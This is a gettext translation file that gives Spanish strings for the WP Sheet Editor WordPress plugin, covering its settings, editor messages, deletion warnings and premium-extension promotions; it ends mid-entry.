msgid "Spreadsheets enabled for these post types" msgstr "Hojas de cálculo habilitadas para estos post types" #: wp-sheet-editor/dev/inc/options-init.php:486 msgid "Disable the help toolbar?" msgstr "¿Deshabilitar la barra de ayuda?" #: wp-sheet-editor/dev/inc/options-init.php:487 msgid "This will hide the \"help\" option in the top toolbar" msgstr "Esto ocultará la opción \"ayuda\" de la barra de herramientas superior" #: wp-sheet-editor/dev/inc/options-init.php:494 msgid "Maximum visible characters in locked cells" msgstr "Máximo de caracteres visibles en las celdas bloqueadas" #: wp-sheet-editor/dev/inc/options-init.php:495 msgid "" "Locked cells only show a preview of the value. The default character length " "is %d" msgstr "" "Las celdas bloqueadas sólo muestran una vista previa del valor. La longitud " "de caracteres por defecto es %d" #: wp-sheet-editor/dev/inc/options-init.php:501 msgid "Don't show read-only columns in the advanced search?" msgstr "¿No mostrar columnas de sólo lectura en la búsqueda avanzada?" #: wp-sheet-editor/dev/inc/options-init.php:510 msgid "Disable extension offerings?" msgstr "¿Deshabilitar la promoción de extensiones?" #: wp-sheet-editor/dev/inc/options-init.php:516 msgid "Don't display the disabled columns in the modules?" msgstr "¿No mostrar las columnas deshabilitadas en los módulos?" #: wp-sheet-editor/dev/inc/options-init.php:517 msgid "" "By default, we show all the columns in the app modules (advanced search, " "bulk edit, export, import, etc), even if they're disabled in the columns " "manager. Activate this option to only display enabled columns." msgstr "" "Por defecto, mostramos todas las columnas en los módulos de la app (búsqueda " "avanzada, edición masiva, exportación, importación, etc), aunque estén " "deshabilitadas en el gestor de columnas. Habilita esta opción para mostrar " "solo las columnas habilitadas." #: wp-sheet-editor/dev/inc/options-init.php:523 msgid "" "Allow users with the capability unfiltered_html to save any html in the post " "content column?" msgstr "" "¿Permitir a los usuarios con la capacidad unfiltered_html guardar cualquier " "html en la columna de contenido del post?" #: wp-sheet-editor/dev/inc/options-init.php:524 msgid "" "By default, we remove any unsafe html from all the spreadsheet columns " "before saving the values. You can activate this option if you want to allow " "the WordPress super admins or administrators to add iframes, ad codes, etc " "to the post content. Use it at your own risk." msgstr "" "Por defecto, eliminamos cualquier html inseguro de todas las columnas de la " "hoja de cálculo antes de guardar los valores. Puedes activar esta opción si " "quieres permitir a los superadministradores o administradores de WordPress " "añadir iframes, códigos de anuncios, etc al contenido de la entrada. Úsala " "bajo tu propia responsabilidad." #: wp-sheet-editor/dev/inc/options-init.php:531 msgid "Generate serialized fields columns based on these posts" msgstr "Generar columnas de campos serializados basados en estos posts" #: wp-sheet-editor/dev/inc/options-init.php:532 msgid "" "This option allows you to indicate what posts to use as templates for " "specific serialized fields. Enter the field key and post ID separated with a " "colon. For example: serialized_key1:89, serializedkey2:90" msgstr "" "Esta opción te permite indicar qué posts utilizar como plantillas para " "campos serializados específicos. Ingresa la clave del campo y el ID del post " "separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90" #: wp-sheet-editor/dev/inc/providers/post.php:511 msgid "" "Row ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your " "CSV uses the right name in the post type column." msgstr "" "Fila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu " "CSV utiliza el nombre correcto en la columna Post type." #: wp-sheet-editor/dev/inc/providers/post.php:527 msgid "" "Row ID: %d. You are trying to save an empty post type. Make sure your CSV " "uses the right name in the post type column." msgstr "" "Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el " "nombre correcto en la columna \"Tipo de post\" o \"Post Type\"." #: wp-sheet-editor/dev/inc/providers/post.php:636 msgid "Row ID: %d, You do not have permission to delete this post." msgstr "Fila: %d. No tienes suficientes permisos para borrar este post." #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:39 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:46 #: wp-sheet-editor/dev/inc/teasers/advanced-filters.php:54 msgid "Go Premium" msgstr "Pásate a Premium" #: wp-sheet-editor/dev/inc/teasers/coupons.php:33 msgid "WooCommerce Coupons" msgstr "Cupones WooCommerce" #: wp-sheet-editor/dev/inc/teasers/coupons.php:51 msgid "" "Edit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, " "restrictions, and more. Make advanced searches. The spreadsheet is in sync " "with your site, no need to import/export. Download Plugin" msgstr "" "Editar cupones en una hoja de cálculo.
                  Editar códigos de cupón, montos, " "estado, restricciones y más. Realizar búsquedas avanzadas. La hoja de " "cálculo está sincronizada con tu sitio, sin necesidad de importar/exportar. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/formulas.php:34 msgid "Apply changes in bulk" msgstr "Aplicar cambios masivamente" #: wp-sheet-editor/dev/inc/teasers/formulas.php:56 msgid "Bulk Update feature" msgstr "Función de cambios masivos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:58 msgid "" "The \"bulk update\" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:" msgstr "" "La función \"Editor Masivo\" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/formulas.php:61 msgid "Replace words or phrases in your posts titles, content, or other fields" msgstr "" "Reemplazar palabras o frases en los títulos, contenido u otros campos de tus " "posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:62 msgid "Increase or decrease products prices" msgstr "Aumentar o disminuir los precios de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:63 msgid "Increase or decrease products stock" msgstr "Aumentar o disminuir el inventario de los productos" #: wp-sheet-editor/dev/inc/teasers/formulas.php:64 msgid "Move all your drafts to published posts or any other status" msgstr "" "Mover todos tus borradores a posts publicados o a cualquier otro estado" #: wp-sheet-editor/dev/inc/teasers/formulas.php:65 msgid "Set hundreds of products at once as out of stock or in stock" msgstr "" "Configurar cientos de productos a la vez como sin existencias o en " "existencias" #: wp-sheet-editor/dev/inc/teasers/formulas.php:66 msgid "" "Add call to actions or any text at the beginning or ending of your posts" msgstr "" "Añadir una llamada a la acción o cualquier texto al principio o al final de " "tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:67 msgid "Replace old shortcodes with new shortcodes in all your posts" msgstr "" "Reemplazar los shortcodes viejos por shortcodes nuevos en todos tus posts" #: wp-sheet-editor/dev/inc/teasers/formulas.php:68 msgid "Set the same featured image in all the posts in a category" msgstr "Ponerle la misma imagen destacada a todos los posts de una categoría" #: wp-sheet-editor/dev/inc/teasers/formulas.php:69 msgid "Move hundreds of posts to the trash" msgstr "Mover cientos de entradas a la papelera" #: wp-sheet-editor/dev/inc/teasers/formulas.php:70 msgid "Etc." msgstr "Etc." #: wp-sheet-editor/dev/inc/teasers/formulas.php:72 msgid "" "Imagine being able to do all those changes to hundreds or thousands of posts " "at once in just a few minutes. The formulas feature is available as premium " "extension." msgstr "" "Imagina poder hacer todos esos cambios a cientos o miles de entradas a la " "vez en sólo unos minutos. La función de fórmulas está disponible como " "extensión premium." #: wp-sheet-editor/dev/inc/teasers/formulas.php:75 #: wp-sheet-editor/dev/inc/teasers/frontend.php:77 #: wp-sheet-editor/dev/inc/teasers/post-types.php:132 msgid "Buy extension now!" msgstr "¡Compra la extensión ahora!" #: wp-sheet-editor/dev/inc/teasers/frontend.php:33 msgid "Display spreadsheet editor on the frontend" msgstr "Mostrar el editor de hojas de cálculo en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:58 msgid "" "We have an extension for displaying this spreadsheet on the frontend. You " "can select the columns to display, and select the spreadsheet tools for the " "frontend users (search, bulk, edit, import, export, etc.). For example:" msgstr "" "Tenemos una extensión para mostrar esta hoja de cálculo en el frontend. " "Puedes seleccionar las columnas a mostrar, y seleccionar las herramientas de " "hoja de cálculo para los usuarios de frontend (búsqueda, edición masiva, " "importación, exportación, etc.). Por ejemplo:" #: wp-sheet-editor/dev/inc/teasers/frontend.php:61 msgid "" "Allow your clients to edit WooCommerce Products using the spreadsheet " "without wp-admin" msgstr "" "Permite a tus clientes editar productos WooCommerce usando la hoja de " "cálculo sin tener que usar el escritorio de wp-admin" #: wp-sheet-editor/dev/inc/teasers/frontend.php:62 msgid "Allow your readers to submit blog posts using the spreadsheet" msgstr "" "Permite que tus lectores entreguen entradas del blog usando la hoja de " "cálculo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:63 msgid "Allow your visitors to publish events" msgstr "Permite a tus visitantes publicar eventos" #: wp-sheet-editor/dev/inc/teasers/frontend.php:64 msgid "Allow your store employees to manage stock and prices" msgstr "" "Permite a los empleados de tu tienda gestionar el inventario y los precios" #: wp-sheet-editor/dev/inc/teasers/frontend.php:65 msgid "Allow your marketplace sellers to import products on the frontend" msgstr "" "Permite a los vendedores de tu mercado importar productos en el frontend" #: wp-sheet-editor/dev/inc/teasers/frontend.php:66 msgid "Allow your marketplace sellers to bulk edit their products" msgstr "" "Permite a los vendedores de tu mercado editar los productos masivamente" #: wp-sheet-editor/dev/inc/teasers/frontend.php:67 msgid "Allow your store buyers to download the catalog" msgstr "Permite a los compradores de tu tienda descargar el catálogo" #: wp-sheet-editor/dev/inc/teasers/frontend.php:68 msgid "Allow your store customers to make advanced catalog searches " msgstr "" "Permite a los clientes de tu tienda realizar búsquedas avanzadas en el " "catálogo " #: wp-sheet-editor/dev/inc/teasers/frontend.php:69 msgid "And more." msgstr "Y más." #: wp-sheet-editor/dev/inc/teasers/frontend.php:72 msgid "Demo video" msgstr "Video de demostración" #: wp-sheet-editor/dev/inc/teasers/frontend.php:74 msgid "" "All the features available in the backend spreadsheet can be used in the " "frontend spreadsheet." msgstr "" "Todas las funciones disponibles en la hoja de cálculo del backend pueden " "utilizarse en el frontend." #: wp-sheet-editor/dev/inc/teasers/post-types.php:86 msgid "Edit WordPress %s" msgstr "Editar %s de WordPress" #: wp-sheet-editor/dev/inc/teasers/post-types.php:88 msgid "The spreadsheet editor can be used to edit your WordPress %s." msgstr "" "El editor de hojas de cálculo puede ser usado para editar tus %s de " "WordPress." #: wp-sheet-editor/dev/inc/teasers/post-types.php:91 msgid "You can edit your Media information like:" msgstr "Puedes editar tu información multimedia como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:94 msgid "Caption" msgstr "Leyenda" #: wp-sheet-editor/dev/inc/teasers/post-types.php:95 msgid "Alternative text" msgstr "Texto alternativo" #: wp-sheet-editor/dev/inc/teasers/post-types.php:98 msgid "Uploaded by user" msgstr "Subido por este usuario" #: wp-sheet-editor/dev/inc/teasers/post-types.php:100 msgid "Enable comments" msgstr "Habilitar comentarios" #: wp-sheet-editor/dev/inc/teasers/post-types.php:101 msgid "And see previews while editing" msgstr "Y ver vistas previas durante la edición" #: wp-sheet-editor/dev/inc/teasers/post-types.php:106 msgid "You can edit your WooCommerce products information like:" msgstr "Puedes editar la información de tus productos WooCommerce como:" #: wp-sheet-editor/dev/inc/teasers/post-types.php:110 msgid "Full content" msgstr "Contenido" #: wp-sheet-editor/dev/inc/teasers/post-types.php:113 msgid "Sale price dates" msgstr "Fechas del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/post-types.php:114 msgid "Featured image" msgstr "Imagen destacada" #: wp-sheet-editor/dev/inc/teasers/post-types.php:115 #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:655 msgid "Gallery" msgstr "Galería" #: wp-sheet-editor/dev/inc/teasers/post-types.php:117 msgid "Is Downloadable" msgstr "Es descargable" #: wp-sheet-editor/dev/inc/teasers/post-types.php:118 msgid "Is Virtual" msgstr "Es Virtual" #: wp-sheet-editor/dev/inc/teasers/post-types.php:124 msgid "" "With our editor you will be able to edit all the information of
                  your %s " "saving you a lot of time." msgstr "" "Con nuestro editor podrás editar toda la información de
                  tus %s, " "ahorrándote mucho tiempo." #: wp-sheet-editor/dev/inc/teasers/post-types.php:128 msgid "This feature is available as premium extension." msgstr "Esta función está disponible como una extensión premium." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "" "Tip from WP Sheet Editor: Edit thousands of categories at once, make " "advanced searches, view all the info in one page, and more." msgstr "" "Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, " "hacer búsquedas avanzadas, ver toda la información en una página, y más." #: wp-sheet-editor/dev/inc/teasers/terms.php:70 msgid "Edit in a Spreadsheet" msgstr "Editar en una Hoja de Cálculo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:51 msgid "" ". Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work" msgstr "" ". Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a " "la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de " "Trabajo" #: wp-sheet-editor/dev/inc/teasers/upgrade-popup.php:70 msgid "View Extensions" msgstr "Ver Extensiones" #: wp-sheet-editor/dev/inc/teasers/users.php:32 msgid "Users" msgstr "Usuarios" #: wp-sheet-editor/dev/inc/teasers/users.php:51 msgid "" "Tip from WP Sheet Editor: You can view all the users in a table, view " "thousands of full profiles, edit hundreds of users at once without crashing " "your server, view all shipping/billing/buddypress information. Make advanced " "searches, create hundreds of users, and more. Download Plugin" msgstr "" "Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una " "tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez " "sin colapsar tu servidor, ver toda la información de envío/facturación/" "buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho " "más. Descargar el Plugin " #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:410 msgid "" ". Lite version. Showing all products and all fields as columns, 15 " "columns are editable and the rest are read only.
                  Upgrade: Edit in " "Excel/Google Sheets, export, import, bulk edit thousands of products at once." msgstr "" ". Versión Lite. Mostrando todos los productos y todos los campos como " "columnas, 15 columnas son editables y el resto son sólo de lectura. " "
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, " "editar todos los campos en miles de productos a la vez." #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:423 msgid "" "Tip from WP Sheet Editor: You can view and edit Product Variations in " "a spreadsheet, bulk edit, make advanced searches, edit hundreds of " "variations at once, copy variations to multiple products, etc. Download Plugin" msgstr "" "Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de " "productos en una hoja de cálculo, realizar búsquedas avanzadas, editar " "cientos de variaciones a la vez, copiar variaciones a varios productos, etc. " "Descargar Plugin" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:521 msgid "Regular Price" msgstr "Precio normal" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:535 msgid "Sale Price" msgstr "Precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:701 msgid "Sales price date from" msgstr "Fecha inicial del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:713 msgid "Sales price date to" msgstr "Fecha final del precio rebajado" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:740 msgid "is featured?" msgstr "Es destacado?" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:756 msgid "Allow backorders" msgstr "Permitir reservas" #: wp-sheet-editor/dev/inc/teasers/woocommerce.php:931 msgid "" "Note: Separate values with the character %s
                  The product must be variable " "and have existing variations for this to work, otherwise the default " "attributes won't be saved." msgstr "" "Nota: Separa los valores con este carácter: %s.
                  El producto debe ser " "variable y tener variaciones existentes para que esto funcione. De lo " "contrario los atributos por defecto no serán guardados." #: wp-sheet-editor/dev/views/editor-page.php:79 msgid "Full screen mode is active" msgstr "El modo de pantalla completa está activado" #: wp-sheet-editor/dev/views/editor-page.php:80 msgid "Exit" msgstr "Salir" #: wp-sheet-editor/dev/views/editor-page.php:84 msgid "Activate full screen" msgstr "Activar el modo de pantalla completa" #: wp-sheet-editor/dev/views/editor-page.php:145 msgid "Current spreadsheet" msgstr "Hoja de cálculo actual" #: wp-sheet-editor/dev/views/editor-page.php:149 msgid "Rows" msgstr "Filas" #: wp-sheet-editor/dev/views/editor-page.php:182 msgid "" ". We recommend you increase the server memory to at least 256mb to prevent " "server errors. Tutorial" msgstr "" ". Recomendamos que incrementes la memoria del servidor al menos hasta 256mb " "para prevenir errores del servidor. Tutorial" #: wp-sheet-editor/dev/views/editor-page.php:186 msgid "Active filters:" msgstr "Filtros activos:" #: wp-sheet-editor/dev/views/editor-page.php:199 #: wp-sheet-editor/dev/views/quick-setup.php:39 msgid "Welcome to WP Sheet Editor" msgstr "Bienvenido a WP Sheet Editor" #: wp-sheet-editor/dev/views/editor-page.php:200 msgid "" "Please make a search to load the rows and start editing (use the \"search\" " "option in the top toolbar)." msgstr "" "Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa " "la herramienta \"Buscar\" en la barra superior)." #: wp-sheet-editor/dev/views/editor-page.php:202 msgid "" "You need to load the rows manually because you deactivated the automatic " "loading of rows. Change the settings" msgstr "" "Necesitas cargar las filas manualmente porque desactivaste la carga " "automática de filas. Cambiar los ajustes" #: wp-sheet-editor/dev/views/editor-page.php:229 msgid "Go to page" msgstr "Ir a la página" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "Use an infinite list instead of pagination" msgstr "Usar una lista infinita en lugar de la paginación" #: wp-sheet-editor/dev/views/editor-page.php:231 msgid "" "Activate this option to remove the pagination buttons and load rows " "automatically when you scroll down. You will see all the rows at the same " "time, you can load thousands of rows without problems." msgstr "" "Activa esta opción para eliminar los botones de paginación y cargar las " "filas automáticamente cuando te desplazas hacia abajo. Verás todas las filas " "al mismo tiempo, puedes cargar miles de filas sin problemas." #: wp-sheet-editor/dev/views/editor-page.php:234 msgid "Load More Rows" msgstr "Cargar más filas" #: wp-sheet-editor/dev/views/editor-page.php:235 msgid "Go to the top" msgstr "Ir arriba" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "Enable pagination" msgstr "Habilitar la paginación" #: wp-sheet-editor/dev/views/editor-page.php:237 msgid "" "By default we use an infinite list of rows and we load more rows every time " "you scroll down. You can activate this option to display pagination links " "and disable the infinite list" msgstr "" "Por defecto, usamos una lista infinita de filas y cargamos más filas cada " "vez que te desplazas hacia abajo. Puedes habilitar esta opción para mostrar " "los enlaces de paginación y deshabilitar la lista infinita." #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "Increase rows per page" msgstr "Aumentar filas por página" #: wp-sheet-editor/dev/views/editor-page.php:241 msgid "" "We use pagination. By default we load 20 rows per page (every time you " "scroll down). You can increase the number to load more rows every time you " "scroll down." msgstr "" "Usamos la paginación. Por defecto cargamos 20 filas por página (cada vez que " "te desplazas hacia abajo). Puedes aumentar el número para cargar más filas " "cada vez que te desplazas hacia abajo." #: wp-sheet-editor/dev/views/editor-page.php:259 msgid "Delete rows" msgstr "Borrar filas" #: wp-sheet-editor/dev/views/editor-page.php:260 msgid "You selected 0 rows to be deleted completely." msgstr "Seleccionaste 0 filas para borrarlas completamente." #: wp-sheet-editor/dev/views/editor-page.php:261 msgid "" "This will delete the rows from your database completely and the only way to " "undo this change is to restore a backup. Please make a backup in case you " "might need to undo this later." msgstr "" "Esto borrará las filas de tu base de datos completamente y la única manera " "de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz " "una copia de seguridad en caso de que puedas necesitar deshacer esto después." #: wp-sheet-editor/dev/views/editor-page.php:262 msgid "Please type the word DELETE and press enter to proceed:" msgstr "" "Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:" #: wp-sheet-editor/dev/views/editor-page.php:275 msgid "OK" msgstr "OK" #: wp-sheet-editor/dev/views/editor-page.php:287 #: wp-sheet-editor/dev/views/editor-page.php:314 msgid "Save changes and edit the previous row" msgstr "Guardar los cambios y editar el post anterior" #: wp-sheet-editor/dev/views/editor-page.php:290 #: wp-sheet-editor/dev/views/editor-page.php:318 msgid "Save changes and edit the next row" msgstr "Guardar los cambios y editar el siguiente post" #: wp-sheet-editor/dev/views/editor-page.php:305 msgid "Editing:" msgstr "Editando:" #: wp-sheet-editor/dev/views/editor-page.php:310 msgid "You can resize the editor" msgstr "Puedes cambiar el tamaño del editor" #: wp-sheet-editor/dev/views/editor-page.php:315 msgid "Just save changes" msgstr "Sólo guarda los cambios" #: wp-sheet-editor/dev/views/editor-page.php:317 msgid "Cancel the changes and close popup" msgstr "Cancelar los cambios y cerrar la ventana emergente" #: wp-sheet-editor/dev/views/editor-page.php:336 msgid "" "The changes about to be made are not reversible. You should backup your " "database before proceding." msgstr "" "Los cambios que estás a punto de realizar son irreversibles. Debes hacer una " "copia de seguridad de tu base de datos antes de proceder." #: wp-sheet-editor/dev/views/editor-page.php:338 msgid "The changes about to be made are not reversible" msgstr "Los cambios que estás a punto de realizar no son reversibles" #: wp-sheet-editor/dev/views/editor-page.php:340 msgid "I understand, continue" msgstr "Entiendo, continuar" #: wp-sheet-editor/dev/views/editor-page.php:345 msgid "" "We are saving now. Don't close this window until the process has finished." msgstr "" "Estamos guardando ahora. No cierres esta ventana hasta que el proceso haya " "terminado." #: wp-sheet-editor/dev/views/editor-page.php:347 msgid "" "Tip: The saving is too slow? Save " "more posts per batch
                  Are you getting errors when saving? Save less posts per batch" msgstr "" "Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes " "errores al guardar? Guardar menos filas por lote" #: wp-sheet-editor/dev/views/editor-page.php:374 msgid "" "The loading is taking too long?
                  1. You can wait until the process " "finished.
                  2. You can " msgstr "" "La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el " "proceso haya terminado.
                  2. Puedes " #: wp-sheet-editor/dev/views/extensions-modal.php:5 #: wp-sheet-editor/dev/views/usage-stats-widget.php:96 msgid "Extend the spreadsheet" msgstr "Ampliar la hoja de cálculo" #: wp-sheet-editor/dev/views/extensions-page.php:19 msgid "What component do you need?" msgstr "¿Qué componente necesitas?" #: wp-sheet-editor/dev/views/extensions.php:31 msgid "Promotion. %d%% OFF only today. " msgstr "Promoción. Ahorra %d%% solo hoy. " #: wp-sheet-editor/dev/views/extensions.php:33 msgid "Get the %d extensions below for just $ %s $ %s" msgstr "" "Obtén las siguientes %d extensiones por sólo $ %s $ %s" #: wp-sheet-editor/dev/views/extensions.php:37 msgid "
                  Use the coupon: %s" msgstr "
                  Usar el cupón: %s" #: wp-sheet-editor/dev/views/extensions.php:41 msgid "" "Money back guarantee. Buy the plugin without worries. We'll give you " "a refund if the plugin doesn't work." msgstr "" "Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona." #: wp-sheet-editor/dev/views/extensions.php:49 msgid "Other extensions" msgstr "Otras extensiones" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:15 msgid "Spreadsheet for %s %s" msgstr "Hoja de cálculo para %s %s" #: wp-sheet-editor/dev/views/free-extensions-for-welcome.php:19 msgid "

                  Free extensions

                  " msgstr "

                  Extensiones gratuitas

                  " #: wp-sheet-editor/dev/views/post-types-form.php:17 msgid "Available spreadsheets" msgstr "Hojas de cálculo disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:64 msgid "Save and continue" msgstr "Guardar y continuar" #: wp-sheet-editor/dev/views/quick-setup.php:70 msgid "Available components" msgstr "Componentes disponibles" #: wp-sheet-editor/dev/views/quick-setup.php:71 msgid "" "The spreadsheet editor is very powerful and it has a lot of features. In " "this step you can enable the features that you need." msgstr "" "El editor de hojas de cálculo es muy potente y tiene muchas características. " "En este paso puedes habilitar las funciones que necesites." #: wp-sheet-editor/dev/views/quick-setup.php:77 msgid "Continue" msgstr "Continuar" #: wp-sheet-editor/dev/views/quick-setup.php:81 msgid "The Spreadsheet is ready." msgstr "La Hoja de cálculo está lista." #: wp-sheet-editor/dev/views/quick-setup.php:94 #: wp-sheet-editor/dev/views/usage-stats-widget.php:115 msgid "Edit " msgstr "Editar " #: wp-sheet-editor/dev/views/quick-setup.php:110 msgid "" "Tip. We can help you with the spreadsheet setup. Get instant help in the " "live chat during business hours" msgstr "" "Consejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén " "ayuda instantánea en el chat en vivo en horas de oficina." #: wp-sheet-editor/dev/views/settings-form.php:2 msgid "Advanced Settings" msgstr "Ajustes Avanzados" #: wp-sheet-editor/dev/views/settings-form.php:14 #: wp-sheet-editor/dev/views/settings-form.php:87 msgid "Reset settings" msgstr "Restablecer los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:15 msgid "Export and import settings" msgstr "Exportar e importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:86 msgid "" "We will display all the columns that were deleted or disabled, renamed " "columns will show the original titles, we will rescan the database to find " "columns again, and the speed/advanced settings will be reset to the " "defaults. This only affects settings of our plugin and it does not affect " "the data edited with the sheet." msgstr "" "Mostraremos todas las columnas que fueron borradas o deshabilitadas, las " "columnas renombradas mostrarán los títulos originales, volveremos a escanear " "la base de datos para encontrar las columnas de nuevo, y los ajustes " "avanzados y de velocidad se restablecerá a los valores predeterminados. Esto " "sólo afecta a la configuración de nuestro plugin y no afecta a los datos " "editados con la hoja de cálculo." #: wp-sheet-editor/dev/views/settings-form.php:90 msgid "These options will be included in the export and import:" msgstr "Estas opciones serán incluidas en la exportación e importación:" #: wp-sheet-editor/dev/views/settings-form.php:92 msgid "Column sizes" msgstr "Tamaños de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:93 msgid "Column titles" msgstr "Títulos de las columnas" #: wp-sheet-editor/dev/views/settings-form.php:94 msgid "Column settings defined in the columns manager" msgstr "Configuraciones definidas en el gestor de columnas" #: wp-sheet-editor/dev/views/settings-form.php:95 msgid "Columns created manually" msgstr "Columnas creadas manualmente" #: wp-sheet-editor/dev/views/settings-form.php:97 msgid "Saved exports" msgstr "Exportaciones guardadas" #: wp-sheet-editor/dev/views/settings-form.php:98 msgid "Saved searches" msgstr "Búsquedas guardadas" #: wp-sheet-editor/dev/views/settings-form.php:99 msgid "List of deleted columns" msgstr "Listado de columnas eliminadas" #: wp-sheet-editor/dev/views/settings-form.php:100 msgid "Favorite search fields" msgstr "Campos de búsqueda marcados como favoritos" #: wp-sheet-editor/dev/views/settings-form.php:101 msgid "Column groups" msgstr "Grupos de columnas" #: wp-sheet-editor/dev/views/settings-form.php:102 msgid "Post types created with WP Sheet Editor" msgstr "Tipos de posts creados con WP Sheet Editor" #: wp-sheet-editor/dev/views/settings-form.php:105 msgid "Click here to export the settings" msgstr "Haz clic aquí para exportar los ajustes" #: wp-sheet-editor/dev/views/settings-form.php:107 msgid "Import settings" msgstr "Importar ajustes" #: wp-sheet-editor/dev/views/settings-form.php:108 msgid "Paste the settings here (the contents of the exported file). Notes:" msgstr "Pega los ajustes aquí (el contenido del archivo exportado). Notas:" #: wp-sheet-editor/dev/views/settings-form.php:110 msgid "The import will overwrite existing settings" msgstr "La importación sobrescribirá los ajustes existentes." #: wp-sheet-editor/dev/views/settings-form.php:111 msgid "Please make a database backup before the import to be safe" msgstr "" "Por favor, haz una copia de seguridad de tu base de datos antes de importar " "para estar más seguro." #: wp-sheet-editor/dev/views/settings-form.php:112 msgid "" "Some columns depend on other plugins. So the source site and this site must " "use the same plugins to have the same columns" msgstr "" "Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de " "destino deben usar los mismos plugins para que tengas las mismas columnas" #: wp-sheet-editor/dev/views/single-extension.php:16 msgid "Active." msgstr "Activo." #: wp-sheet-editor/dev/views/usage-stats-widget.php:54 msgid "Thank you for using our spreadsheet editor" msgstr "Gracias por usar nuestro editor de hojas de cálculo" #: wp-sheet-editor/dev/views/usage-stats-widget.php:62 msgid "Usage stats" msgstr "Estadísticas de uso" #: wp-sheet-editor/dev/views/usage-stats-widget.php:68 msgid "Modified rows" msgstr "Filas modificadas" #: wp-sheet-editor/dev/views/usage-stats-widget.php:72 msgid "Time saved
                  (estimated)" msgstr "Tiempo ahorrado
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:76 msgid "Clicks avoided
                  (estimated)" msgstr "Clics ahorrados
                  (estimado)" #: wp-sheet-editor/dev/views/usage-stats-widget.php:97 msgid "" "Edit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit " "hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and More" msgstr "" "Editar productos WooCommerce, Variaciones WooCommerce y Atributos.
                  Editar cientos de filas a la vez usando fórmulas, copiar información entre " "filas,
                  Editar post types personalizados y campos personalizados, Editar " "Perfiles de Usuario, y Más" #: wp-sheet-editor/dev/views/usage-stats-widget.php:98 msgid "View extensions" msgstr "Ver extensiones" #: wp-sheet-editor/dev/views/usage-stats-widget.php:103 msgid "Open the Spreadsheet Editor" msgstr "Abrir el Editor de Hojas de Cálculo" #: wp-sheet-editor/dev/views/whats-new.php:15 msgid "What's new on WP Sheet Editor" msgstr "Novedades en WP Sheet Editor" #: wp-sheet-editor/dev/views/whats-new.php:17 msgid "Thank you for updating to the new version of the plugin." msgstr "Gracias por actualizar a la nueva versión del plugin." #: wp-sheet-editor/dev/wp-sheet-editor.php:185 msgid "Edit User Profiles in Spreadsheet - Basic" msgstr "Editar perfiles de usuario en una hoja de cálculo - Básico" #: wp-sheet-editor/dev/wp-sheet-editor.php:188 msgid "" "

                  Edit WordPress users in spreadsheet, edit only basic profiles and make " "basic searches.

                  " msgstr "" "

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo " "perfiles básicos y realizar búsquedas básicas.

                  " #: wp-sheet-editor/dev/wp-sheet-editor.php:196 msgid "Edit User Profiles in Spreadsheet - FULL" msgstr "Editar Perfiles de Usuario en la Hoja de Cálculo - COMPLETO" #: wp-sheet-editor/dev/wp-sheet-editor.php:199 msgid "" "

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including " "custom fields. Add new columns to the spreadsheet, Good for ecommerce " "stores, membership sites, events directories, business directories, user " "directories

                  " msgstr "" "

